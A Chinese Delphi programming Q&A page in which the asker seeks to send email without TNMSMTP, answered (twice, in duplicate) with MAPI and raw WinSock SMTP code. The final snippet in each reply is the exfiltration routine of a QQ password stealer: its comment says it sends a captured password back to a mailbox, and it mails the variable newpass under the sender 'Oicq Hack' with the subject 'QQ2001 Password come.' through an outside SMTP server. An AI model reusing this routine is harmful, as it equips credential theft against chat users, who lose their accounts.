要求:不使用TNMSMTP,尽量用mailto方式
不过,用'mailto:[email protected]?subject=关于...&body=...'形式好象不可以实现啊。

解决方案 »

  1.   

    function SendMail(const Subject, Body, FileName,
      SenderName, SenderEMail,
      RecepientName, RecepientEMail: string): Integer;
    var
      Message: TMapiMessage;
      lpSender, lpRecepient: TMapiRecipDesc;
      FileAttach: TMapiFileDesc;
      SM: TFNMapiSendMail;
      MAPIModule: HModule;
    begin
      FillChar(Message, SizeOf(Message), 0);
      with Message do
      begin
        if (Subject <> '') then lpszSubject := PChar(Subject);
        if (Body <> '') then lpszNoteText := PChar(Body);
        if (SenderEmail <> '') then
        begin
          lpSender.ulRecipClass := MAPI_ORIG;
          if (SenderName = '') then
            lpSender.lpszName := PChar(SenderEMail)
          else
            lpSender.lpszName := PChar(SenderName);
          lpSender.lpszAddress := PChar(SenderEmail);
          lpSender.ulReserved := 0;
          lpSender.ulEIDSize := 0;
          lpSender.lpEntryID := nil;
          lpOriginator := @lpSender;
        end;    if (RecepientEmail <> '') then
        begin
          lpRecepient.ulRecipClass := MAPI_TO;
          if (RecepientName = '') then
            lpRecepient.lpszName := PChar(RecepientEMail)
          else
            lpRecepient.lpszName := PChar(RecepientName);
          lpRecepient.lpszAddress := PChar(RecepientEmail);
          lpRecepient.ulReserved := 0;
          lpRecepient.ulEIDSize := 0;
          lpRecepient.lpEntryID := nil;
          nRecipCount := 1;
          lpRecips := @lpRecepient;
        end
        else
          lpRecips := nil;    if (FileName = '') then
        begin
          nFileCount := 0;
          lpFiles := nil;
        end
        else
        begin
          FillChar(FileAttach, SizeOf(FileAttach), 0);
          FileAttach.nPosition := Cardinal($FFFFFFFF);
          FileAttach.lpszPathName := PChar(FileName);
          nFileCount := 1;
          lpFiles := @FileAttach;
        end;
      end;  MAPIModule := LoadLibrary(PChar(MAPIDLL));
      if MAPIModule = 0 then
        Result := -1
      else
      try
        @SM := GetProcAddress(MAPIModule, 'MAPISendMail');
        if @SM <> nil then
        begin
          Result := SM(0, Application.Handle, Message, MAPI_DIALOG or
    MAPI_LOGON_UI, 0);
        end
        else
          Result := 1;
      finally
        FreeLibrary(MAPIModule);
      end;  if Result <> 0 then
        MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,
          [mbOK], 0);
    end;**********************
    下面是利用WinSock发送电子邮件的例子:
    whaoye:
    program SendMail;uses
      winsock;{$R *.RES}procedure sendmails;stdcall;
    var
    s:tsocket;
    buffer:array[0..255] of char;
    errorcode:integer;
    mailserver:tsockaddr;
    begin
    mailserver.sin_family:=af_inet;
    mailserver.sin_port:=htons(25);
    mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');
    s:=socket(af_inet,sock_stream,0);
    errorcode:=connect(s,mailserver,sizeof(mailserver));
    if errorcode<>invalid_socket then
    begin
       buffer:='HELO'+#13#10;
       send(s,buffer,length('HELO'+#13#10),0);
       buffer:='MAIL FROM: [email protected]'+#13#10;
       send(s,buffer,length('MAIL FROM: [email protected]'+#13#10),0);
       buffer:='RCPT TO:administrator@godeye'+#13#10;
       send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);
       buffer:='DATA'+#13#10;
       send(s,buffer,length('DATA'+#13#10),0);
       buffer:='FROM:[email protected]'+#13#10;
       send(s,buffer,length('FROM:[email protected]'+#13#10),0);
       buffer:='TO:administrator@godeye'+#13#10;
       send(s,buffer,length('TO:[email protected]'+#13#10),0);
       buffer:='SUBJECT:just a test!'+#13#10;
       send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);
       buffer:='I LOVE THIS GAME!'+#13#10;
       send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);
       buffer:='.'+#13#10;
       send(s,buffer,length('.'+#13#10),0);
       buffer:='QUIT'+#13#10;
       send(s,buffer,length('QUIT'+#13#10),0);
       closesocket(s);
    end;
    end;var
    wsa:twsadata;
    begin
    wsastartup($0202,wsa);
    sendmails;
    wsacleanup;
    end.
    *******************
    //下面是个发信的子过程,取得密码后发回[email protected]邮箱 
    procedure MailSend; 
    begin 
    err:=recv(FSocket,sbuf,400,0); 
    s1:=strpas(sbuf); 
    inc(step); 
    case step of 
    1:s1:='HELO smtp.hacker.com'+CRLF; 
    2:s1:='MAIL FROM: <[email protected]>'+CRLF; 
    3:s1:='RCPT TO: <'+email+'>'+CRLF; 
    4:s1:='DATA'+CRLF; 
    5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF 
    +'To:"getoicq"<www.password.com>'+CRLF 
    +'Subject:QQ2001 Password come.'+CRLF 
    +CRLF 
    +newpass+CRLF 
    +'.'+CRLF; 
    6:s1:='QUIT'+CRLF; 
    else 
    step:=0; 
    end; 
    strcopy(sbuf,pchar(s1)); 
    err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE); 
    end; 
    //发信主过程 
    procedure SendPass; 
    begin 
    err:=WSAStartup($0101,WSAData); 
    FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP); 
    //利用 smtp.21cn.com 进行发信 
    fhost:='202.104.32.230'; 
    fport:=25; 
    SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost)); 
    SockAddrIn.sin_family := PF_INET; 
    SockAddrIn.sin_port :=htons(Fport); 
    err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); 
    step:=0; 
    repeat 
    MailSend; 
    until step=0; 
    err:=closesocket(FSocket); 
    err:=WSACleanup; 
    end;
      

  2.   

    function SendMail(const Subject, Body, FileName,
      SenderName, SenderEMail,
      RecepientName, RecepientEMail: string): Integer;
    var
      Message: TMapiMessage;
      lpSender, lpRecepient: TMapiRecipDesc;
      FileAttach: TMapiFileDesc;
      SM: TFNMapiSendMail;
      MAPIModule: HModule;
    begin
      FillChar(Message, SizeOf(Message), 0);
      with Message do
      begin
        if (Subject <> '') then lpszSubject := PChar(Subject);
        if (Body <> '') then lpszNoteText := PChar(Body);
        if (SenderEmail <> '') then
        begin
          lpSender.ulRecipClass := MAPI_ORIG;
          if (SenderName = '') then
            lpSender.lpszName := PChar(SenderEMail)
          else
            lpSender.lpszName := PChar(SenderName);
          lpSender.lpszAddress := PChar(SenderEmail);
          lpSender.ulReserved := 0;
          lpSender.ulEIDSize := 0;
          lpSender.lpEntryID := nil;
          lpOriginator := @lpSender;
        end;    if (RecepientEmail <> '') then
        begin
          lpRecepient.ulRecipClass := MAPI_TO;
          if (RecepientName = '') then
            lpRecepient.lpszName := PChar(RecepientEMail)
          else
            lpRecepient.lpszName := PChar(RecepientName);
          lpRecepient.lpszAddress := PChar(RecepientEmail);
          lpRecepient.ulReserved := 0;
          lpRecepient.ulEIDSize := 0;
          lpRecepient.lpEntryID := nil;
          nRecipCount := 1;
          lpRecips := @lpRecepient;
        end
        else
          lpRecips := nil;    if (FileName = '') then
        begin
          nFileCount := 0;
          lpFiles := nil;
        end
        else
        begin
          FillChar(FileAttach, SizeOf(FileAttach), 0);
          FileAttach.nPosition := Cardinal($FFFFFFFF);
          FileAttach.lpszPathName := PChar(FileName);
          nFileCount := 1;
          lpFiles := @FileAttach;
        end;
      end;  MAPIModule := LoadLibrary(PChar(MAPIDLL));
      if MAPIModule = 0 then
        Result := -1
      else
      try
        @SM := GetProcAddress(MAPIModule, 'MAPISendMail');
        if @SM <> nil then
        begin
          Result := SM(0, Application.Handle, Message, MAPI_DIALOG or
    MAPI_LOGON_UI, 0);
        end
        else
          Result := 1;
      finally
        FreeLibrary(MAPIModule);
      end;  if Result <> 0 then
        MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,
          [mbOK], 0);
    end;**********************
    下面是利用WinSock发送电子邮件的例子:
    whaoye:
    program SendMail;uses
      winsock;{$R *.RES}procedure sendmails;stdcall;
    var
    s:tsocket;
    buffer:array[0..255] of char;
    errorcode:integer;
    mailserver:tsockaddr;
    begin
    mailserver.sin_family:=af_inet;
    mailserver.sin_port:=htons(25);
    mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');
    s:=socket(af_inet,sock_stream,0);
    errorcode:=connect(s,mailserver,sizeof(mailserver));
    if errorcode<>invalid_socket then
    begin
       buffer:='HELO'+#13#10;
       send(s,buffer,length('HELO'+#13#10),0);
       buffer:='MAIL FROM: [email protected]'+#13#10;
       send(s,buffer,length('MAIL FROM: [email protected]'+#13#10),0);
       buffer:='RCPT TO:administrator@godeye'+#13#10;
       send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);
       buffer:='DATA'+#13#10;
       send(s,buffer,length('DATA'+#13#10),0);
       buffer:='FROM:[email protected]'+#13#10;
       send(s,buffer,length('FROM:[email protected]'+#13#10),0);
       buffer:='TO:administrator@godeye'+#13#10;
       send(s,buffer,length('TO:[email protected]'+#13#10),0);
       buffer:='SUBJECT:just a test!'+#13#10;
       send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);
       buffer:='I LOVE THIS GAME!'+#13#10;
       send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);
       buffer:='.'+#13#10;
       send(s,buffer,length('.'+#13#10),0);
       buffer:='QUIT'+#13#10;
       send(s,buffer,length('QUIT'+#13#10),0);
       closesocket(s);
    end;
    end;var
    wsa:twsadata;
    begin
    wsastartup($0202,wsa);
    sendmails;
    wsacleanup;
    end.
    *******************
    //下面是个发信的子过程,取得密码后发回[email protected]邮箱 
    procedure MailSend; 
    begin 
    err:=recv(FSocket,sbuf,400,0); 
    s1:=strpas(sbuf); 
    inc(step); 
    case step of 
    1:s1:='HELO smtp.hacker.com'+CRLF; 
    2:s1:='MAIL FROM: <[email protected]>'+CRLF; 
    3:s1:='RCPT TO: <'+email+'>'+CRLF; 
    4:s1:='DATA'+CRLF; 
    5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF 
    +'To:"getoicq"<www.password.com>'+CRLF 
    +'Subject:QQ2001 Password come.'+CRLF 
    +CRLF 
    +newpass+CRLF 
    +'.'+CRLF; 
    6:s1:='QUIT'+CRLF; 
    else 
    step:=0; 
    end; 
    strcopy(sbuf,pchar(s1)); 
    err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE); 
    end; 
    //发信主过程 
    procedure SendPass; 
    begin 
    err:=WSAStartup($0101,WSAData); 
    FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP); 
    //利用 smtp.21cn.com 进行发信 
    fhost:='202.104.32.230'; 
    fport:=25; 
    SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost)); 
    SockAddrIn.sin_family := PF_INET; 
    SockAddrIn.sin_port :=htons(Fport); 
    err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); 
    step:=0; 
    repeat 
    MailSend; 
    until step=0; 
    err:=closesocket(FSocket); 
    err:=WSACleanup; 
    end;